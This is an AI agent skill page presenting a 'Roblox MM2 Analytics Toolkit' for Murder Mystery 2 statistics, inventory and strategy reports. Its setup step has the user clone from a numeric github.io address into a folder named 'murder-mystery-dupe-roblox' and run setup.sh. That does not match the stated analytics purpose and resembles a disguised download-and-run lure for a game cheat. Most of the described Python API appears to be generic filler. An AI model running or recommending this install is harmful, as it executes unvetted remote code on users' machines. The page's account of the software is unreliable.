# Roblox Mm2 Analytics Toolkit

> Analytics and inventory management toolkit for Roblox Murder Mystery 2 gameplay optimization

- Skill: `om-scogo/roblox-mm2-analytics-toolkit` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds add om-scogo/roblox-mm2-analytics-toolkit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/om-scogo/roblox-mm2-analytics-toolkit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: om-scogo (https://skillmd.com/u/om-scogo)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/om-scogo/roblox-mm2-analytics-toolkit

---


# Roblox MM2 Analytics Toolkit

> Skill by [ara.so](https://ara.so) — Data Skills collection.

## Overview

The Roblox MM2 Analytics Toolkit is a comprehensive data analysis and inventory management system for Murder Mystery 2 (MM2) players. It provides real-time statistics tracking, inventory cataloging, strategy analysis, and performance metrics through an automated dashboard interface.

**Primary Use Cases:**
- Track and analyze MM2 knife skin collections
- Monitor win/loss ratios across different game roles
- Optimize inventory and gamepass effectiveness
- Generate gameplay statistics reports
- Identify collection gaps and trading opportunities

## Installation

### Method 1: Automated Setup

```bash
# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Run automated installer
chmod +x setup.sh
./setup.sh --install
```

### Method 2: Manual Installation

```bash
# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

# Verify installation
python3 main.py --version
```

### System Requirements
- Python 3.9+
- Node.js 16+
- 2GB RAM minimum
- Internet connection for API integrations

## Configuration

### Environment Setup

Create a `.env` file in the project root:

```bash
# API Integration (optional)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}

# Data Storage
DATA_DIRECTORY=./data/collections
BACKUP_DIRECTORY=./backups

# Analytics Settings
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
EXPORT_FORMAT=json

# Performance
MAX_CONCURRENT_REQUESTS=10
CACHE_DURATION=3600
```

### Profile Configuration

Create `profiles/default.yaml`:

```yaml
profile:
  username: "PlayerName"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "godly"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: ["csv", "json"]
    include_predictions: true
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
      risk_level: "high"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
      risk_level: "low"
```

## Key Commands

### Analytics Mode

```bash
# Generate comprehensive analytics report
python3 main.py --mode analytics \
  --profile default \
  --export stats_$(date +%Y%m%d).json \
  --verbose

# Real-time tracking with live updates
python3 main.py --mode live \
  --refresh-rate 30 \
  --dashboard web

# Export specific date range
python3 main.py --mode analytics \
  --start-date 2026-05-01 \
  --end-date 2026-05-15 \
  --export monthly_report.csv
```

### Inventory Management

```bash
# Scan and catalog inventory
python3 main.py --mode inventory \
  --scan-all \
  --detect-duplicates \
  --output inventory.json

# Filter by rarity
python3 main.py --mode inventory \
  --filter rarity:legendary \
  --sort value:desc

# Check collection completeness
python3 main.py --mode inventory \
  --check-completeness \
  --recommend-trades
```

### Strategy Analysis

```bash
# Analyze gameplay patterns
python3 main.py --mode strategy \
  --role sheriff \
  --sessions 100 \
  --export strategy_analysis.json

# Generate AI-powered recommendations
python3 main.py --mode strategy \
  --ai-analysis \
  --model gpt-4 \
  --export recommendations.txt
```

## Python API Usage

### Basic Analytics

```python
from mm2_analytics import AnalyticsEngine, ProfileManager

# Initialize engine
engine = AnalyticsEngine(config_path="./config.yaml")
profile = ProfileManager.load("default")

# Load gameplay data
engine.load_session_data(
    start_date="2026-05-01",
    end_date="2026-05-15"
)

# Calculate statistics
stats = engine.calculate_statistics()
print(f"Win Rate: {stats['win_rate']:.2%}")
print(f"Average Session Duration: {stats['avg_duration']} minutes")
print(f"Most Successful Role: {stats['best_role']}")

# Export results
engine.export_data(
    filename="analytics_report.json",
    format="json",
    include_charts=True
)
```

### Inventory Management

```python
from mm2_analytics import InventoryManager

# Initialize inventory manager
inventory = InventoryManager(profile="default")

# Scan current inventory
items = inventory.scan_all()
print(f"Total items: {len(items)}")

# Filter knife skins by rarity
legendary_knives = inventory.filter(
    category="knife_skins",
    rarity=["legendary", "godly"]
)

for knife in legendary_knives:
    print(f"{knife['name']}: {knife['estimated_value']} credits")

# Detect duplicates
duplicates = inventory.find_duplicates()
if duplicates:
    print(f"Found {len(duplicates)} duplicate items")
    
# Check collection completeness
missing = inventory.check_completeness()
print(f"Missing {len(missing)} items for complete collection")
```

### Strategy Analysis

```python
from mm2_analytics import StrategyAnalyzer

# Initialize analyzer
analyzer = StrategyAnalyzer()

# Load historical gameplay data
analyzer.load_sessions(min_sessions=50)

# Analyze role performance
role_stats = analyzer.analyze_by_role()
for role, stats in role_stats.items():
    print(f"\n{role.upper()}:")
    print(f"  Win Rate: {stats['win_rate']:.2%}")
    print(f"  Avg Survival Time: {stats['avg_survival']:.1f}s")

# Generate recommendations
recommendations = analyzer.generate_recommendations(
    role="sheriff",
    difficulty="intermediate"
)

for rec in recommendations:
    print(f"- {rec['strategy']}: {rec['description']}")
```

### AI-Powered Insights

```python
from mm2_analytics import AIAnalyzer
import os

# Initialize AI analyzer with API key from environment
ai_analyzer = AIAnalyzer(
    openai_key=os.getenv("API_OPENAI_KEY"),
    model="gpt-4"
)

# Get strategic recommendations
gameplay_data = {
    "role": "murderer",
    "recent_sessions": 20,
    "win_rate": 0.35,
    "common_mistakes": ["early_reveal", "predictable_patterns"]
}

insights = ai_analyzer.analyze_gameplay(gameplay_data)
print("AI Recommendations:")
print(insights['recommendations'])
print("\nPredicted Improvement:")
print(f"Potential win rate: {insights['predicted_improvement']:.2%}")
```

## Data Export Formats

### JSON Export

```python
from mm2_analytics import DataExporter

exporter = DataExporter()

# Export comprehensive statistics
data = exporter.export(
    format="json",
    include_inventory=True,
    include_analytics=True,
    include_predictions=True
)

# Save to file
exporter.save("complete_report.json", data)
```

Example JSON structure:
```json
{
  "profile": "default",
  "generated_at": "2026-05-16T21:56:49Z",
  "statistics": {
    "total_sessions": 150,
    "win_rate": 0.58,
    "favorite_role": "sheriff",
    "total_playtime_hours": 47.5
  },
  "inventory": {
    "knife_skins": 47,
    "gun_skins": 32,
    "total_value": 15420,
    "rarest_item": "Ancient Ice Blade"
  },
  "predictions": {
    "next_month_winrate": 0.62,
    "recommended_focus": "innocent_strategy"
  }
}
```

### CSV Export

```python
# Export for spreadsheet analysis
exporter.export_csv(
    filename="sessions.csv",
    data_type="sessions",
    columns=["date", "role", "result", "duration", "map"]
)
```

## Common Patterns

### Daily Analytics Routine

```python
from mm2_analytics import DailyReport
from datetime import datetime, timedelta

def generate_daily_report():
    """Generate daily analytics report"""
    report = DailyReport()
    
    # Get yesterday's data
    yesterday = datetime.now() - timedelta(days=1)
    
    # Generate report
    report.set_date_range(yesterday, yesterday)
    stats = report.generate()
    
    # Print summary
    print(f"Sessions: {stats['sessions']}")
    print(f"Win Rate: {stats['win_rate']:.2%}")
    print(f"Best Performance: {stats['best_role']}")
    
    # Save report
    report.export(f"daily_{yesterday.strftime('%Y%m%d')}.json")
    
    return stats

# Run daily
if __name__ == "__main__":
    generate_daily_report()
```

### Automated Inventory Backup

```python
from mm2_analytics import InventoryManager
import schedule
import time

def backup_inventory():
    """Automated inventory backup"""
    inventory = InventoryManager()
    timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
    
    inventory.scan_all()
    inventory.export(f"backups/inventory_{timestamp}.json")
    print(f"Backup completed: inventory_{timestamp}.json")

# Schedule daily backup at 2 AM
schedule.every().day.at("02:00").do(backup_inventory)

while True:
    schedule.run_pending()
    time.sleep(3600)
```

### Batch Session Analysis

```python
from mm2_analytics import BatchAnalyzer

def analyze_weekly_performance():
    """Analyze weekly gameplay trends"""
    analyzer = BatchAnalyzer()
    
    # Get last 7 days
    end_date = datetime.now()
    start_date = end_date - timedelta(days=7)
    
    # Analyze by role
    results = analyzer.analyze_period(
        start_date=start_date,
        end_date=end_date,
        group_by="role"
    )
    
    # Generate trend chart
    analyzer.plot_trends(
        results,
        output="weekly_trends.png"
    )
    
    return results

# Run weekly analysis
weekly_stats = analyze_weekly_performance()
```

## Troubleshooting

### Common Issues

**Issue: "Module not found" errors**
```bash
# Ensure all dependencies are installed
pip install -r requirements.txt
npm install

# Check Python path
python3 -c "import sys; print(sys.path)"
```

**Issue: API connection failures**
```python
# Verify API keys are set
import os

if not os.getenv("API_OPENAI_KEY"):
    print("Warning: OpenAI API key not set")
    print("Export it: export API_OPENAI_KEY=your_key")

# Test connectivity
from mm2_analytics import APITester
tester = APITester()
tester.test_connections()
```

**Issue: Data not loading**
```python
# Check data directory permissions
import os

data_dir = os.getenv("DATA_DIRECTORY", "./data/collections")
if not os.path.exists(data_dir):
    os.makedirs(data_dir, exist_ok=True)
    print(f"Created data directory: {data_dir}")

# Verify file format
from mm2_analytics import DataValidator
validator = DataValidator()
validator.check_data_integrity(data_dir)
```

**Issue: Slow performance**
```python
# Enable caching
from mm2_analytics import CacheManager

cache = CacheManager(
    cache_dir="./cache",
    max_size_mb=500,
    ttl_seconds=3600
)

# Clear old cache if needed
cache.clear_expired()

# Reduce analytics interval
import config
config.set("ANALYTICS_INTERVAL", 600)  # 10 minutes
```

### Debug Mode

```bash
# Run with verbose logging
python3 main.py --mode analytics \
  --log-level DEBUG \
  --verbose \
  --dry-run

# Check system diagnostics
python3 main.py --diagnose
```

### Data Validation

```python
from mm2_analytics import DataValidator

validator = DataValidator()

# Validate profile configuration
validator.validate_profile("profiles/default.yaml")

# Check inventory data integrity
validator.validate_inventory("data/inventory.json")

# Verify analytics data
validator.validate_sessions("data/sessions.csv")
```

## Advanced Usage

### Custom Analytics Pipeline

```python
from mm2_analytics import Pipeline, Analyzer, Transformer, Exporter

# Build custom pipeline
pipeline = Pipeline()

# Add stages
pipeline.add_stage(Analyzer(
    metrics=["win_rate", "avg_duration", "role_distribution"]
))

pipeline.add_stage(Transformer(
    operations=["normalize", "aggregate", "trend_analysis"]
))

pipeline.add_stage(Exporter(
    formats=["json", "csv", "html"],
    output_dir="./reports"
))

# Execute pipeline
results = pipeline.run(
    input_data="data/sessions.csv",
    config="config/pipeline.yaml"
)

print(f"Pipeline completed: {results['status']}")
```

This skill provides comprehensive guidance for AI coding agents to assist developers in using the Roblox MM2 Analytics Toolkit for gameplay optimization and data analysis.

